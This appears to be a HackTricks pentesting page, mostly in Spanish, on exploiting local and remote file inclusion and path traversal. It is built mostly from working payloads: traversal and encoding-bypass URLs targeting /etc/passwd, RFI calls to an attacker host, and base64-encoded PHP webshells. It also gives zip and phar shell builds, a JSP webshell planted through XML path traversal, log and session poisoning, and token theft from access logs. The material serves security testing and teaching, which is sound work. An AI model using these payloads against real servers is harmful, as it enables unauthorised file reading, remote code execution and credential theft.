File Inclusion/Path traversal

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

File Inclusion

Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.

La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que será cargado por el servidor.

Funciones de PHP vulnerables: require, require_once, include, include_once

Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap

Blind - Interesante - LFI2RCE archivos

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Mezclando varias listas LFI de nix y añadiendo más rutas he creado esta:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Intenta también cambiar / por \
Intenta también añadir ../../../../../

Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) puede encontrarse aquí

Windows

Fusión de diferentes wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Intenta también cambiar / por \
Intenta también eliminar C:/ y añadir ../../../../../

Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) puede encontrarse aquí

OS X

Consulta la lista LFI de Linux.

LFI básico y bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences eliminadas de forma no recursiva

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass la adición de más caracteres al final de la cadena proporcionada (bypass de: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Esto está resuelto desde PHP 5.4

Codificación

Puedes usar codificaciones no estándar como double URL encode (y otras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Los motores modernos de HTML-to-PDF (p. ej. TCPDF o wrappers como html2pdf) analizan sin problemas HTML, SVG, CSS y URLs de fuentes proporcionadas por el atacante, pero se ejecutan dentro de redes backend de confianza con acceso al sistema de ficheros. Una vez que puedes inyectar HTML en $pdf->writeHTML()/Html2Pdf::writeHTML(), frecuentemente puedes exfiltrar archivos locales que la cuenta del servidor web puede leer.

  • Fingerprint the renderer: cada PDF generado contiene un campo Producer (p. ej. TCPDF 6.8.2). Saber la build exacta te indica qué filtros de ruta existen y si la decodificación de URL ocurre antes de la validación.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lee el atributo xlink:href de los elementos <image> antes de ejecutar urldecode(). Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepone $_SERVER['DOCUMENT_ROOT'] a las rutas que comienzan con / y solo resuelve .. más tarde, así que usa segmentos iniciales ../../.. o /../../.. para escapar de la raíz después de la anteposición.

  • Codificación para evadir filtros ingenuos: Versiones ≤6.8.2 solo verifican la subcadena literal ../ antes de decodificar la URL. Enviar ..%2f (o ..%2F) en el SVG o en un <img src> crudo evita la verificación, porque la secuencia dot-dot-slash se recrea solo después de que TCPDF llama a urldecode().
  • Doble codificación para decodificación en varias etapas: Si la entrada del usuario es decodificada por el web framework y por TCPDF, codifica doblemente la barra (%252f). Una decodificación la convierte en %2f, la segunda decodificación en TCPDF la convierte en /, produciendo /..%252f../../../../… sin llegar a mostrar ../ al filtro inicial.
  • Manejador HTML <img>: TCPDF::openHTMLTagHandler() contiene el mismo bug de orden de operaciones, permitiendo payloads HTML directos como src="%2f..%252f..%252ftmp%252fsecret.png" para leer cualquier bitmap accesible localmente.

Esta técnica leak cualquier cosa legible por el PDF worker (passport scans, API keys rendered as images, etc.). Los hardeners lo solucionaron en 6.9.1 al canonizar las rutas (isRelativePath()), así que durante las pruebas prioriza versiones antiguas de Producer.

Desde carpeta existente

Quizás el back-end esté comprobando la ruta de la carpeta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploración de directorios del sistema de archivos en un servidor

El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograr esto:

  1. Determinar la profundidad del directorio: Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo /etc/passwd (aplicable si el servidor ejecuta Linux). Un ejemplo de URL podría estructurarse como sigue, indicando una profundidad de tres:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Añade el nombre de la carpeta sospechosa (p. ej., private) a la URL, luego vuelve a navegar a /etc/passwd. El nivel de directorio adicional requiere incrementar la profundidad en uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar los resultados: La respuesta del servidor indica si la carpeta existe:
  • Error / Sin salida: La carpeta private probablemente no existe en la ubicación especificada.
  • Contenido de /etc/passwd: Se confirma la presencia de la carpeta private.
  1. Exploración recursiva: Las carpetas descubiertas pueden inspeccionarse más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).

Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para verificar si /var/www/ contiene un directorio private (suponiendo que el directorio actual está a una profundidad de 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos eludiendo ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.

En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ son tratados como la misma ruta.
  • Cuando los últimos 6 caracteres son passwd, añadir una / (convirtiéndolo en passwd/) no cambia el archivo objetivo.
  • De manera similar, si se añade .php a una ruta de archivo (como shellcode.php), agregar /. al final no alterará el archivo al que se accede.

Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

En estos escenarios, el número de traversals necesarios podría ser de alrededor de 2027, pero este número puede variar según la configuración del servidor.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) combinadas con extra dot segments y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
  • Determining the Required Number of Traversals: Mediante prueba y error, se puede encontrar el número preciso de secuencias ../ necesarias para navegar hasta el directorio raíz y luego a /etc/passwd, asegurando que cualquier cadena añadida (como .php) sea neutralizada pero la ruta deseada (/etc/passwd) permanezca intacta.
  • Starting with a Fake Directory: Es una práctica común empezar la ruta con un directorio inexistente (como a/). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de parseo de rutas del servidor.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

En php esto está deshabilitado por defecto porque allow_url_include está Off. Debe estar On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si por alguna razón allow_url_include está On, pero PHP está filtrando el acceso a páginas web externas, according to this post, puedes usar por ejemplo el protocolo data con base64 para decodificar un código PHP en b64 y obtener RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Repositorio .git expuesto (Source Disclosure)

Si el servidor web expone /.git/, un atacante a menudo puede reconstruir el repositorio completo (incluyendo el historial de commits) y auditar la aplicación sin conexión. Esto comúnmente revela endpoints ocultos, secrets, SQL queries y admin-only functionality.

Comprobaciones rápidas:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Volcar el repositorio con git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Luego recupera el árbol de trabajo:

cd out
git checkout .

Tip

En el código anterior, el +.txt final se añadió porque el atacante necesitaba una cadena que terminara en .txt, así que la cadena termina con ello y, tras la decodificación b64, esa parte solo devolverá basura y el código PHP real será incluido (y, por lo tanto, ejecutado).

Otro ejemplo que no usa el protocolo php:// sería:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento raíz de Python

En Python, en un código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es el comportamiento previsto según the docs:

Si un componente es una ruta absoluta, todos los componentes previos se descartan y la unión continúa desde el componente de ruta absoluta.

Java Listar directorios

Parece que si tienes un Path Traversal en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (afaik).

Top 25 parámetros

Aquí está la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrappers y protocolos de PHP

php://filter

PHP filters allow perform basic modification operations on the data before being it’s read or written. Hay 5 categorías de filtros:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Elimina etiquetas de los datos (todo lo que esté entre los caracteres “<” y “>”)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime el contenido (útil si exfiltras mucha información)
  • zlib.inflate: Descomprime los datos
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • Ejecutando en PHP var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:
  • consumed
  • dechunk: revierte la codificación chunked de HTTP
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” no distingue entre mayúsculas y minúsculas

Usando php filters como oráculo para leer archivos arbitrarios

In this post se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica está basada en una exfiltración booleana del archivo (char por char) usando php filters como oráculo. Esto es porque php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción.

En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:

  • Usa el códec UCS-4LE para dejar el carácter inicial del texto al comienzo y hacer que el tamaño de la cadena aumente exponencialmente.
  • Esto se usará para generar un texto tan grande cuando la letra inicial es adivinada correctamente que php provocará un error.
  • El filtro dechunk eliminará todo si el primer carácter no es hexadecimal, por lo que podemos saber si el primer carácter es hex.
  • Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto observando cuándo, al aplicar suficientes transformaciones, deja de ser un carácter hexadecimal. Porque si es hex, dechunk no la borrará y la bomba inicial provocará el error en php.
  • El códec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una a, por ejemplo, porque si aplicamos 6 veces este códec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se dispara el error de php al multiplicarse con la bomba inicial.
  • Usando otras transformaciones como rot13 al principio es posible leak otros chars como n, o, p, q, r (y otros códecs pueden usarse para mover otras letras al rango hex).
  • Cuando el carácter inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
  • El problema final es ver cómo leak más que la letra inicial. Usando filtros que reordenan la memoria como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los chars y traer a la primera posición otras letras del texto.
  • Y para poder obtener más datos la idea es generar 2 bytes de datos basura al principio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para que haga pivot con los siguientes 2 bytes, y eliminar los datos hasta los bytes basura (esto quitará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para leak.

En el post también se filtró una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acceder a descriptores de archivo que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

También puedes usar php://stdin, php://stdout and php://stderr para acceder a los file descriptors 0, 1 and 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)

zip:// and rar://

Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, debe ser activado específicamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Ten en cuenta que este protocolo está restringido por la configuración de php allow_url_open y allow_url_include

expect://

Expect debe estar activado. Puedes ejecutar código usando esto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifica tu payload en los parámetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un archivo .phar puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como include para cargar archivos. El fragmento de código PHP mostrado a continuación demuestra la creación de un archivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar el archivo .phar, se debe ejecutar el siguiente comando:

php --define phar.readonly=0 create_path.php

Al ejecutarse, se creará un archivo llamado test.phar, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).

En casos donde la LFI solo realiza lectura de archivos sin ejecutar el código PHP dentro (por ejemplo mediante funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() o filesize()), se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Fue posible abusar de any arbitrary file read from PHP that supports php filters para obtener un RCE. La descripción detallada puede ser found in this post.
Resumen muy rápido: se abusó de un desbordamiento de 3 bytes en el heap de PHP para alterar la cadena de free chunks de un tamaño específico con el fin de escribir cualquier cosa en cualquier dirección, por lo que se añadió un hook para llamar a system.
Fue posible allocar chunks de tamaños específicos abusando de más php filters.

More protocols

Consulta más posibles protocols to include here:

  • php://memory and php://temp — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de file inclusion)
  • file:// — Acceso al sistema de archivos local
  • http:// — Acceso a URLs HTTP(s)
  • ftp:// — Acceso a URLs FTP(s)
  • zlib:// — Flujos de compresión
  • glob:// — Encuentra nombres de ruta que coincidan con un patrón (no devuelve nada imprimible, por lo que no es muy útil aquí)
  • ssh2:// — Secure Shell 2
  • ogg:// — Flujos de audio (no útil para leer archivos arbitrarios)

LFI vía ‘assert’ de PHP

Los riesgos de Local File Inclusion (LFI) en PHP son especialmente altos cuando se trata de la función ‘assert’, que puede ejecutar código contenido en cadenas. Esto es particularmente problemático si se comprueba una entrada que contiene caracteres de directory traversal como “..” pero no se sanitiza correctamente.

Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:

assert("strpos('$file', '..') === false") or die("");

Si bien esto pretende detener el traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un attacker podría usar:

' and die(highlight_file('/etc/passwd')) or '

De manera similar, para ejecutar comandos arbitrarios del sistema, se puede usar:

' and die(system("id")) or '

Es importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Esta técnica es relevante en casos donde tú controlas la ruta de archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una llamada simple a file()) y el contenido no se muestra.

En this incredible post se explica cómo un blind path traversal puede ser abusado vía PHP filter para exfiltrate the content of a file via an error oracle.

En resumen, la técnica usa la codificación “UCS-4LE” para hacer que el contenido de un archivo sea tan big que la PHP function opening el archivo dispare un error.

Luego, para obtener el primer carácter el filtro dechunk se usa junto con otros como base64 o rot13 y finalmente los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE se usan para place other chars at the beggining and leak them.

Funciones que podrían ser vulnerables: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

¡Para los detalles técnicos revisa el post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Cuando el código del lado del servidor que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, segmentos .. y rutas absolutas pueden escapar del directorio previsto y causar una escritura arbitraria de archivos. Si puedes colocar el payload dentro de un directorio expuesto en la web, normalmente obtienes RCE no autenticada al dejar un webshell.

Flujo típico de explotación:

  • Identificar un mecanismo de escritura en un endpoint o background worker que acepte una path/filename y escriba contenido en disco (p. ej., ingesta dirigida por mensajes, handlers de comandos XML/JSON, extractores de ZIP, etc.).
  • Determinar directorios expuestos en la web. Ejemplos comunes:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Crear una ruta de traversal que rompa fuera del directorio de almacenamiento previsto hacia el webroot, e incluir tu contenido de webshell.
  • Acceder al payload dejado y ejecutar comandos.

Notas:

  • El servicio vulnerable que realiza la escritura puede escuchar en un puerto no-HTTP (p. ej., un listener JMF XML en TCP 4004). El portal web principal (puerto diferente) luego servirá tu payload.
  • En stacks Java, estas escrituras de archivos a menudo se implementan con simples concatenaciones File/Paths. La falta de canonicalización y de allow-listing es la falla principal.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Endurecimiento que derrota esta clase de bugs:

  • Resuelve a una ruta canónica y asegúrate de que sea descendiente de un directorio base allow-listed.
  • Rechaza cualquier ruta que contenga .., raíces absolutas, o letras de unidad; prefiere nombres de archivo generados.
  • Ejecuta el proceso de escritura como una cuenta de bajo privilegio y separa los directorios de escritura de las raíces servidas.

Remote File Inclusion

Explicado previamente, sigue este enlace.

Vía archivo de logs de Apache/Nginx

Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include podrías intentar acceder a /var/log/apache2/access.log or /var/log/nginx/access.log, poner en el User-Agent o en un parámetro GET un php shell como <?php system($_GET['c']); ?> e incluir ese archivo

Warning

Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles serán modificadas por la cadena “quote;”, PHP lanzará un error y nada más se ejecutará.

Además, asegúrate de escribir correctamente el payload o PHP fallará cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad.

Esto también podría hacerse en otros logs pero ten cuidado, el código dentro de los logs podría estar codificado en URL y eso podría destruir el Shell. La cabecera authorisation “basic” contiene “user:password” en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de esta cabecera.
Otros posibles log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leer los registros de acceso para recolectar auth tokens basados en GET (token replay)

Muchas aplicaciones aceptan por error session/auth tokens vía GET (p. ej., AuthenticationToken, token, sid). Si tienes una primitiva de path traversal/LFI hacia los registros del servidor web, puedes robar esos tokens desde los registros de acceso y reproducirlos para omitir completamente la autenticación.

Cómo hacerlo:

  • Usa el traversal/LFI para leer el registro de acceso del servidor web. Ubicaciones comunes:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Algunos endpoints devuelven lecturas de archivos codificadas en Base64. Si es así, decodifica localmente e inspecciona las líneas del log.
  • Usa grep para buscar solicitudes GET que incluyan un parámetro token y captura su valor; luego replayéalo contra el punto de entrada de la aplicación.

Flujo de ejemplo (genérico):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica el body si está en Base64, luego replay un token capturado:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notas:

  • Tokens en URLs se registran por defecto; nunca aceptes bearer tokens vía GET en sistemas de producción.
  • Si la app soporta múltiples nombres de token, busca claves comunes como AuthenticationToken, token, sid, access_token.
  • Rota cualquier token que pueda haber leaked en los logs.

Vía Email

Enviar un correo a una cuenta interna (user@localhost) que contenga tu PHP payload como <?php echo system($_REQUEST["cmd"]); ?> y trata de incluirlo en el correo del usuario con una ruta como /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Vía /proc/*/fd/*

  1. Sube muchas shells (por ejemplo: 100)
  2. Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (puede ser brute forced) y $FD el file descriptor (también puede ser brute forced)

Vía /proc/self/environ

Como un archivo de logs, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

A través de upload

Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf

Vía subida de ZIP

Sube un archivo ZIP que contenga un PHP shell comprimido y accede:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

A través de PHP sessions

Comprueba si el sitio web usa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP estas sesiones se almacenan en archivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Establece la cookie en <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa el LFI para incluir el archivo de sesión de PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Vía ssh

Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a <HOME>/.ssh/id_rsa

Vía vsftpd logs

Los logs del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En el escenario en el que existe una vulnerabilidad Local File Inclusion (LFI) y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:

  1. Inyecta un payload PHP en el campo username durante el proceso de login.
  2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde /var/log/vsftpd.log.

Vía php base64 filter (using base64)

Como se muestra en this article, PHP base64 filter simplemente ignora Non-base64. You can use that to bypass the file extension check: si suministras base64 que termina con “.php”, este simplemente ignorará el “.” y añadirá “php” al base64. Aquí tienes un ejemplo de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Mediante php filters (no se necesita archivo)

Este writeup explica que puedes usar php filters para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generar código php arbitrario para el include sin necesidad de escribirlo en un archivo.

LFI2RCE via PHP Filters

Mediante segmentation fault

Sube un archivo que se almacenará como temporal en /tmp, luego en la misma petición, provoca un segmentation fault, y entonces el archivo temporal no será eliminado y puedes buscarlo.

LFI2RCE via Segmentation Fault

Mediante almacenamiento de archivos temporales de Nginx

Si encontraste una Local File Inclusion y Nginx se está ejecutando frente a PHP podrías obtener RCE con la siguiente técnica:

